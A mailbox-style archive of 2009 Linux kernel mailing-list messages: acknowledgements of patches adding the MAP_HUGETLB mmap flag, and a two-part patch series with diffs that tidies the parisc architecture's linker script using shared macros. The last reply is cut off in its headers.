Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758543AbZIRUKF (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
	Fri, 18 Sep 2009 16:10:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758127AbZIRUKF
	(ORCPT <rfc822;linux-doc-outgoing>); Fri, 18 Sep 2009 16:10:05 -0400
Original-Received: from smtp-out.google.com ([216.239.45.13]:12255 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758173AbZIRUKC (ORCPT
	<rfc822;linux-doc@vger.kernel.org>); Fri, 18 Sep 2009 16:10:02 -0400
Original-Received: from wpaz33.hot.corp.google.com (wpaz33.hot.corp.google.com [172.24.198.97])
	by smtp-out.google.com with ESMTP id n8IK76kP018689;
	Fri, 18 Sep 2009 13:07:06 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1253304540; bh=a9u8/sl/HzTGw1crlweuy9VAk6Q=;
	h=DomainKey-Signature:Date:From:X-X-Sender:To:cc:Subject:
	 In-Reply-To:Message-ID:References:User-Agent:MIME-Version:
	 Content-Type:X-System-Of-Record; b=ojUgnd+z63fTOuYAWXuX2jCoov6g7HB
	y/ALF4E+1VzmLV2h5FZg9fO+8CTCaVGdL1ykisx5s8dFFZiiJyaiKMg==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id:
	references:user-agent:mime-version:content-type:x-system-of-record;
	b=SK+6RYKM6CWCyX7+34nyjHaVulT8j++2YFog35khPxfnXcLLQfFej3IFgcUJcserp
	23CkfsBvDIZlVX3V72ygw==
Original-Received: from pzk8 (pzk8.prod.google.com [10.243.19.136])
	by wpaz33.hot.corp.google.com with ESMTP id n8IK6VD0014284;
	Fri, 18 Sep 2009 13:07:02 -0700
Original-Received: by pzk8 with SMTP id 8so996329pzk.8
        for <multiple recipients>; Fri, 18 Sep 2009 13:07:02 -0700 (PDT)
Original-Received: by 10.114.19.30 with SMTP id 30mr3057868was.134.1253304422371;
        Fri, 18 Sep 2009 13:07:02 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.12.59])
        by mx.google.com with ESMTPS id 22sm658830pzk.14.2009.09.18.13.07.00
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 18 Sep 2009 13:07:01 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <0f28cb0d89a7b83f7edf92181c5d13422f5b009c.1253276847.git.ebmunson@us.ibm.com>
User-Agent: Alpine 1.00 (DEB 882 2007-12-20)
X-System-Of-Record: true
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:861 gmane.linux.kernel:891624 gmane.linux.kernel.mm:39124 gmane.linux.man:1049 gmane.linux.ports.alpha:621 gmane.linux.ports.mips.general:25101 gmane.linux.ports.parisc:2191 gmane.linux.kernel.cross-arch:4445
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2191>

On Fri, 18 Sep 2009, Eric B Munson wrote:

> There are two means of creating mappings backed by huge pages:
> 
>         1. mmap() a file created on hugetlbfs
>         2. Use shm which creates a file on an internal mount which essentially
>            maps it MAP_SHARED
> 
> The internal mount is only used for shared mappings but there is very
> little that stops it being used for private mappings. This patch extends
> hugetlbfs_file_setup() to deal with the creation of files that will be
> mapped MAP_PRIVATE on the internal hugetlbfs mount. This extended API is
> used in a subsequent patch to implement the MAP_HUGETLB mmap() flag.
> 
> Signed-off-by: Eric Munson <ebmunson@us.ibm.com>

Acked-by: David Rientjes <rientjes@google.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 2/7] Add MAP_HUGETLB for mmaping pseudo-anonymous huge
 page regions
Date: Fri, 18 Sep 2009 13:08:22 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <alpine.DEB.1.00.0909181308110.27556@chino.kir.corp.google.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com> <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com> <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1253304720 12862 80.91.229.12 (18 Sep 2009 20:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 20:12:00 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org, rdunlap@xenotime.net,
        michael@ellerman.id.au, ralf@linux-mips.org, wli@holomorphy.com,
        mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org
To: Eric B Munson <ebmunson@us.ibm.com>
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 22:11:50 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mojo5-00040w-IQ
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 22:11:49 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 2D0206B00F7; Fri, 18 Sep 2009 16:11:44 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 262B76B00F5; Fri, 18 Sep 2009 16:11:44 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E6D566B00F8; Fri, 18 Sep 2009 16:11:43 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail202.messagelabs.com (mail202.messagelabs.com [216.82.254.227])
	by kanga.kvack.org (Postfix) with ESMTP id 889456B00F5
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 16:11:43 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: rientjes@google.com
X-Msg-Ref: server-3.tower-202.messagelabs.com!1253304572!44888331!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [216.239.45.13]
X-SpamReason: No, hits=0.3 required=7.0 tests=RCVD_BY_IP
Original-Received: (qmail 23302 invoked from network); 18 Sep 2009 20:09:32 -0000
Original-Received: from smtp-out.google.com (HELO smtp-out.google.com) (216.239.45.13)
  by server-3.tower-202.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 20:09:32 -0000
Original-Received: from wpaz9.hot.corp.google.com (wpaz9.hot.corp.google.com [172.24.198.73])
	by smtp-out.google.com with ESMTP id n8IK8SJ0019544
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 13:08:28 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1253304622; bh=wXY/xbSoeKeP/UnNPC5kfD6E6T0=;
	h=DomainKey-Signature:Date:From:X-X-Sender:To:cc:Subject:
	 In-Reply-To:Message-ID:References:User-Agent:MIME-Version:
	 Content-Type:X-System-Of-Record; b=b5jjV2xZcvLojoKs5XwUbncRdSrjpOH
	qj2fA94tirxKST/n6Jkac6W7Ijs1CEtI0bBCAEVr7BnDz6DFh1IgMQA==
DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns;
	h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id:
	references:user-agent:mime-version:content-type:x-system-of-record;
	b=M5moPOQwk+gcOMMEZQv+1U+vlkgf2t48QGXUQbZfSG0CYyBMvo/fLnI+wa9DqGuwY
	weCOo/azhiDHv98jvPSzg==
Original-Received: from pxi1 (pxi1.prod.google.com [10.243.27.1])
	by wpaz9.hot.corp.google.com with ESMTP id n8IK8Crh003902
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 13:08:25 -0700
Original-Received: by pxi1 with SMTP id 1so1003828pxi.1
        for <linux-mm@kvack.org>; Fri, 18 Sep 2009 13:08:25 -0700 (PDT)
Original-Received: by 10.114.242.5 with SMTP id p5mr3091656wah.66.1253304503603;
        Fri, 18 Sep 2009 13:08:23 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.12.59])
        by mx.google.com with ESMTPS id 22sm661834pzk.10.2009.09.18.13.08.22
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 18 Sep 2009 13:08:23 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
User-Agent: Alpine 1.00 (DEB 882 2007-12-20)
X-System-Of-Record: true
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000001, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39125 gmane.linux.kernel:891625 gmane.linux.man:1050 gmane.linux.documentation:862 gmane.linux.ports.alpha:622 gmane.linux.ports.mips.general:25102 gmane.linux.ports.parisc:2192 gmane.linux.kernel.cross-arch:4446
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2192>

On Fri, 18 Sep 2009, Eric B Munson wrote:

> This patch adds a flag for mmap that will be used to request a huge
> page region that will look like anonymous memory to user space.  This
> is accomplished by using a file on the internal vfsmount.  MAP_HUGETLB
> is a modifier of MAP_ANONYMOUS and so must be specified with it.  The
> region will behave the same as a MAP_ANONYMOUS region using small pages.
> 
> Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>

Acked-by: David Rientjes <rientjes@google.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 0/2] Linker script cleanup patches for parisc
Date: Fri, 18 Sep 2009 16:34:36 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253306158 17280 80.91.229.12 (18 Sep 2009 20:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 20:35:58 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 22:35:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MokBI-0002j1-UW
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 22:35:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758212AbZIRUfM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Sep 2009 16:35:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754318AbZIRUfM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Sep 2009 16:35:12 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:62904 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752468AbZIRUfL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Sep 2009 16:35:11 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8IKYx9N022585;
	Fri, 18 Sep 2009 16:35:00 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8IKYwmp001393;
	Fri, 18 Sep 2009 16:34:59 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2193 gmane.linux.kernel:891640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2193>

This is an updated version of the patch series I sent on September 6
cleaning up the parisc architecture's linker scripts.  It differs from
the previous version only in having been rebased on top of Linus'
current master (and is a complete rewrite of the version that got some
review back in May:
<http://linux.derkeiler.com/Mailing-Lists/Kernel/2009-05/msg00095.html>).

This cross-architecture linker script cleanup project is in
preparation for adding support for building the kernel with
-ffunction-sections -fdata-sections, which is a prerequisite for
Ksplice.

	-Tim Abbott

Tim Abbott (2):
  parisc: Clean up linker script using new linker script macros.
  parisc: Remove useless altinstructions code copied from x86.

 arch/parisc/kernel/vmlinux.lds.S |  104 ++------------------------------------
 1 files changed, 4 insertions(+), 100 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 2/2] parisc: Remove useless altinstructions code copied from x86.
Date: Fri, 18 Sep 2009 16:34:38 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1253306078-7066-3-git-send-email-tabbott@ksplice.com>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253306158 17282 80.91.229.12 (18 Sep 2009 20:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 20:35:58 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 22:35:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MokBK-0002j1-0A
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 22:35:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758565AbZIRUfX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Sep 2009 16:35:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758579AbZIRUfV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Sep 2009 16:35:21 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:62966 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758431AbZIRUfQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Sep 2009 16:35:16 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8IKZ2EF022649;
	Fri, 18 Sep 2009 16:35:02 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8IKZ1sf001440;
	Fri, 18 Sep 2009 16:35:01 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2194 gmane.linux.kernel:891641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2194>

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   25 -------------------------
 1 files changed, 0 insertions(+), 25 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 3fd66d9..775be27 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -135,31 +135,6 @@ SECTIONS
 	INIT_TEXT_SECTION(16384)
 	INIT_DATA_SECTION(16)
 
-	/* alternate instruction replacement.  This is a mechanism x86 uses
-	 * to detect the CPU type and replace generic instruction sequences
-	 * with CPU specific ones.  We don't currently do this in PA, but
-	 * it seems like a good idea...
-	 */
-	. = ALIGN(4);
-	.altinstructions : {
-		__alt_instructions = .;
-		*(.altinstructions)
-		__alt_instructions_end = .; 
-	} 
-	.altinstr_replacement : {
-		*(.altinstr_replacement)
-	} 
-
-	/* .exit.text is discard at runtime, not link time, to deal with references
-	 *  from .altinstructions and .eh_frame
-	 */
-	.exit.text : {
-		EXIT_TEXT
-	}
-	.exit.data : {
-		EXIT_DATA
-	}

From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Abbott <tabbott@ksplice.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2 1/2] parisc: Clean up linker script using new linker script macros.
Date: Fri, 18 Sep 2009 16:34:37 -0400
Lines: 151
Approved: news@gmane.org
Message-ID: <1253306078-7066-2-git-send-email-tabbott@ksplice.com>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253306421 18241 80.91.229.12 (18 Sep 2009 20:40:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 20:40:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	Tim Abbott <tabbott@ksplice.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 22:40:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MokFX-0003qM-Hs
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 22:40:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755035AbZIRUkG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Sep 2009 16:40:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757643AbZIRUkG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 18 Sep 2009 16:40:06 -0400
Original-Received: from BISCAYNE-ONE-STATION.MIT.EDU ([18.7.7.80]:65082 "EHLO
	biscayne-one-station.mit.edu" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755035AbZIRUkE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Sep 2009 16:40:04 -0400
Original-Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103])
	by biscayne-one-station.mit.edu (8.13.6/8.9.2) with ESMTP id n8IKZ1uj022631;
	Fri, 18 Sep 2009 16:35:01 -0400 (EDT)
Original-Received: from localhost (c-71-192-160-118.hsd1.nh.comcast.net [71.192.160.118])
	(authenticated bits=0)
        (User authenticated as tabbott@ATHENA.MIT.EDU)
	by outgoing.mit.edu (8.13.6/8.12.4) with ESMTP id n8IKYxxg001413;
	Fri, 18 Sep 2009 16:35:00 -0400 (EDT)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
X-Scanned-By: MIMEDefang 2.42
X-Spam-Flag: NO
X-Spam-Score: 0.00
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2195 gmane.linux.kernel:891650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2195>

This patch has the (likely harmless) side effect of moving
.data.init_task inside the _edata.

It also changes the alignment of .data.init_task from 16384 to
THREAD_SIZE, which can in some configurations be larger than 16384.  I
believe that this change fixes a potential bug on those
configurations.

Signed-off-by: Tim Abbott <tabbott@ksplice.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Cc: Sam Ravnborg <sam@ravnborg.org>
---
 arch/parisc/kernel/vmlinux.lds.S |   79 ++------------------------------------
 1 files changed, 4 insertions(+), 75 deletions(-)

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index aea1784..3fd66d9 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -77,13 +77,7 @@ SECTIONS
 	 */
 	. = ALIGN(PAGE_SIZE);
 	data_start = .;
-	. = ALIGN(16);
-	/* Exception table */
-	__ex_table : {
-		__start___ex_table = .;
-		*(__ex_table)
-		__stop___ex_table = .;
-	}
+	EXCEPTION_TABLE(16)
 
 	NOTES
 
@@ -94,23 +88,8 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	/* rarely changed data like cpu maps */
-	. = ALIGN(16);
-	.data.read_mostly : {
-		*(.data.read_mostly)
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
 	/* Data */
-	.data : {
-		DATA_DATA
-		CONSTRUCTORS
-	}
-
-	. = ALIGN(L1_CACHE_BYTES);
-	.data.cacheline_aligned : {
-		*(.data.cacheline_aligned)
-	}
+	RW_DATA_SECTION(L1_CACHE_BYTES, PAGE_SIZE, THREAD_SIZE)
 
 	/* PA-RISC locks requires 16-byte alignment */
 	. = ALIGN(16);
@@ -118,17 +97,6 @@ SECTIONS
 		*(.data.lock_aligned)
 	}
 
-	/* nosave data is really only used for software suspend...it's here
-	 * just in case we ever implement it
-	 */
-	. = ALIGN(PAGE_SIZE);
-	__nosave_begin = .;
-	.data_nosave : {
-		*(.data.nosave)
-	}
-	. = ALIGN(PAGE_SIZE);
-	__nosave_end = .;
-
 	/* End of data section */
 	_edata = .;
 
@@ -147,14 +115,6 @@ SECTIONS
 	}
 	__bss_stop = .;
 
-
-	/* assembler code expects init_task to be 16k aligned */
-	. = ALIGN(16384);
-	/* init_task */
-	.data.init_task : {
-		*(.data.init_task)
-	}
-
 #ifdef CONFIG_64BIT
 	. = ALIGN(16);
 	/* Linkage tables */
@@ -172,31 +132,8 @@ SECTIONS
 	/* reserve space for interrupt stack by aligning __init* to 16k */
 	. = ALIGN(16384);
 	__init_begin = .;
-	.init.text : { 
-		_sinittext = .;
-		INIT_TEXT
-		_einittext = .;
-	}
-	.init.data : {
-		INIT_DATA
-	}
-	. = ALIGN(16);
-	.init.setup : {
-		__setup_start = .;
-		*(.init.setup)
-		__setup_end = .;
-	}
-	.initcall.init : {
-		__initcall_start = .;
-		INITCALLS
-		__initcall_end = .;
-	}
-	.con_initcall.init : {
-		__con_initcall_start = .;
-		*(.con_initcall.init)
-		__con_initcall_end = .;
-	}
-	SECURITY_INIT
+	INIT_TEXT_SECTION(16384)
+	INIT_DATA_SECTION(16)
 
 	/* alternate instruction replacement.  This is a mechanism x86 uses
 	 * to detect the CPU type and replace generic instruction sequences
@@ -222,14 +159,6 @@ SECTIONS
 	.exit.data : {
 		EXIT_DATA
 	}
-#ifdef CONFIG_BLK_DEV_INITRD
-	. = ALIGN(PAGE_SIZE);
-	.init.ramfs : {
-		__initramfs_start = .;
-		*(.init.ramfs)
-		__initramfs_end = .;
-	}
-#endif
 
 	PERCPU(PAGE_SIZE)
 	. = ALIGN(PAGE_SIZE);
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2 0/2] Linker script cleanup patches for parisc
Date: Sat, 19 Sep 2009 10:38:15 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20090919083815.GC25840@merkur.ravnborg.org>
References: <1253306078-7066-1-git-send-email-tabbott@ksplice.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1253349512 31770 80.91.229.12 (19 Sep 2009 08:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Sep 2009 08:38:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Tim Abbott <tabbott@ksplice.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 19 10:38:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MovSY-0007Fs-Se
	for glpp-linux-parisc@lo.gmane.org; Sat, 19 Sep 2009 10:38:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754032AbZISIiR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Sep 2009 04:38:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755275AbZISIiR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Sep 2009 04:38:17 -0400
Original-Received: from [195.41.46.236] ([195.41.46.236]:43798 "EHLO pfepb.post.tele.dk"
	rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org with ESMTP
	id S1753700AbZISIiQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Sep 2009 04:38:16 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
